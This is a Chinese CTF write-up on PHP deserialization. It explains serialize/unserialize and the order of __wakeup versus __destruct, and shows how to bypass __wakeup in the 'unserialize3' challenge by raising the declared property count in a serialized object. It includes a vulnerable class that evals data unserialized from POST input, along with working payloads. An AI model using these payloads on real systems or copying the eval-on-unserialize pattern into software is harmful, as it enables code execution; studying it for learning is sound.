unserialize3与反序列化漏洞零基础详解

本文讲解了PHP中的序列化与反序列化概念,通过实例演示了如何理解漏洞原理,并结合CTF题目展示了如何利用__wakeup魔术方法绕过安全措施。重点讨论了unserialize3解题策略,包括payload构造和优先级的理解。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在解这道题之前,首先非常感谢https://www.ajsafe.com/news/315.html这篇文章,给反序列化不太了解的我带来了启发,与借鉴,比如反序列化是什么,怎么形成反序列化漏洞等等


目录

反序列化漏洞(序列化←→反序列化)

什么是序列化(serialize)

什么是反序列化(unserialize)

通过demo理解反序列化漏洞

下面这段代码为序列化,可以理解为编码

下面这段代码为反序列化,可以理解为解码

通过某道CTF实际题目理解反序列化漏洞,与解题过程

优先级演示证明:

unserialize3解题


反序列化漏洞(序列化←→反序列化)

什么是序列化(serialize)

将对象的状态信息转换为可以存储或传输的形式的过程,简单来说,就是将状态信息保存为字符串

什么是反序列化(unserialize)

将字符串转换为状态信息

PHP内的几个特殊魔术方法

  1. __construct():当对象创建(new)时会自动调用,但在unserialize()时是不会自动调用的(构造函数)

  2. __destruct():当对象操作执行完毕后自动执行destruct()函数的代码

  3. __wakeup():unserialize()时自动调用

  4. __call()方法当调用类实例中不存在的函数时自动执行

通过demo理解反序列化漏洞


如果将序列化理解为编码时,那么反序列化即为解码

举例解释:

下面这段代码为序列化,可以理解为编码

<?php
class test{
 public $name = "f1r3K0";
 public $age = "18";
}
$class = new test();
$class_ser = serialize($class);
print_r($class_ser);
?>

O代表object(为A时代表Array),4代表"test"占4个字符长度,2代表着对象具有两个变量:name和age,s代表string,字符型(如果为i,代表int型)

下面这段代码为反序列化,可以理解为解码

<?php
class test{
 public $name = "f1r3K0";
 public $age = "18";
}
$class = new test();
$class_ser = serialize($class);
print_r($class_ser);
$class_unser = unserialize($class_ser);
print_r($class_unser);
?>

当使用unserialize()恢复对象时,将调用__weakup(),serialize()函数将表单内容序列化成一个字符串

通过某道CTF实际题目理解反序列化漏洞,与解题过程


<?php
highlight_file(_FILE_);
error_reporting(0);
class convent{
	var $warn="No hacker.";
	function __destruct(){
	eval($this->warn);
	}
	function __wakeup(){
		foreach(get_object_vars($this) as $k => $v){
			$this->$k=null;
		}
	}
}
$cmd=$_POST[cmd];
unserialize($cmd);

__destruct:对象操作执行完毕之后自动执行该函数内的代码

__wakeup:遇到unserialize()时自动触发

__wakeup是优先执行的,

优先级高于__destruct。

优先级演示证明:

<?php
header("Content-type:text/html;charset=utf-8");
class people{
	public $namee='ganyu';
	public $age='20';
         function __destruct(){
            echo"_destruct()";
            echo"<br>";
	}
        function __wakeup(){
                echo"_wakeup()";
                echo"<br>";
		}
	}
$class=new people();
$class_ser=serialize($class);
$class_unser=unserialize($class_ser);

再回到之前的CTF题目就明白了,优先执行wakeup的内容,才执行destruct,由于wakeup时会将warn值进行过滤,变为null值,所以不能使wakeup执行

wakeup是当反序列化成功时,才会调用,那我们让它失败呢?其实只要让它失败,是不是就不会调用这个魔术方法了?

<?php
highlight_file(_FILE_);
error_reporting(0);
class convent{
	var $warn="No hacker.";
	function __destruct(){
	eval($this->warn);
	}
	function __wakeup(){
		foreach(get_object_vars($this) as $k => $v){
			$this->$k=null;
		}
	}
}
$b=new convent();
$c=serialize($b);
echo $c;
?>

O:7:"convent":1:{s:4:"warn";s:10:"No hacker.";}  

里面的值是不可修改的,但是可以修改的属性(变量)数大于实际的个数时,就可以绕过 wakeup

构造payload:O:7:"convent":2:{s:4:"warn";s:10:"No hacker.";}【其实就是将1改为2,目的达到随便改都行】

最后将构造的payload传入即可,当看到这里的时候,再回去看我们这道题就非常非常简单了

unserialize3解题

当看到这里的时候,那么恭喜你,这题对你来说只是单纯的__wakeup(),将构造的payload输入至?code后即可

首先将代码补全

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
	}		
}
$b=new xctf();
$c=serialize($b);
echo $c;
?>

输出

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

O代表object(为A时代表Array),4代表"test"占4个字符长度,2代表着对象具有两个变量:name和age,s代表string,字符型(如果为i,代表int型)

修改下,绕过即可

payload:O:4:"xctf":2:{s:4:"flag";s:3:"111";}

回车拿flag

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值